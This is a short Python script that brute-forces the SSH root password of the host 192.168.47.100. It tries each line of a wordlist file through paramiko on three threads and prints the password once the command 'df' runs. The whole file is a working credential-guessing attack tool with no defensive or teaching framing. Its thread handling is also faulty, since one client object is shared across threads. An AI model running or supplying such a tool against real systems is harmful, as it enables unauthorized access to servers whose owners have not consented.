import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutor
import os
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
is_find = False


def SshCheck(password):
    try:
        ssh.connect("192.168.47.100", 22, 'root', password, timeout=1.5)
        stdin, stdout, stderr = ssh.exec_command('df')
        result = stdout.read()
        if result:
            sys.stdout.write('[OK]' + '\t' + password + '\n')
            global is_find
            is_find = True
            exit()
    except Exception as e:
        print(e, "失败！！！")
    finally:
        ssh.close()


filedata = open("pwds.txt", "r")


def run():
    pool = ThreadPoolExecutor(3)
    while 1:
        global is_find
        if is_find:
            break
        line = filedata.readline()
        if not line:
            break
        line = line.strip("\n")
        pool.submit(SshCheck, line)


run()
os.system("pause")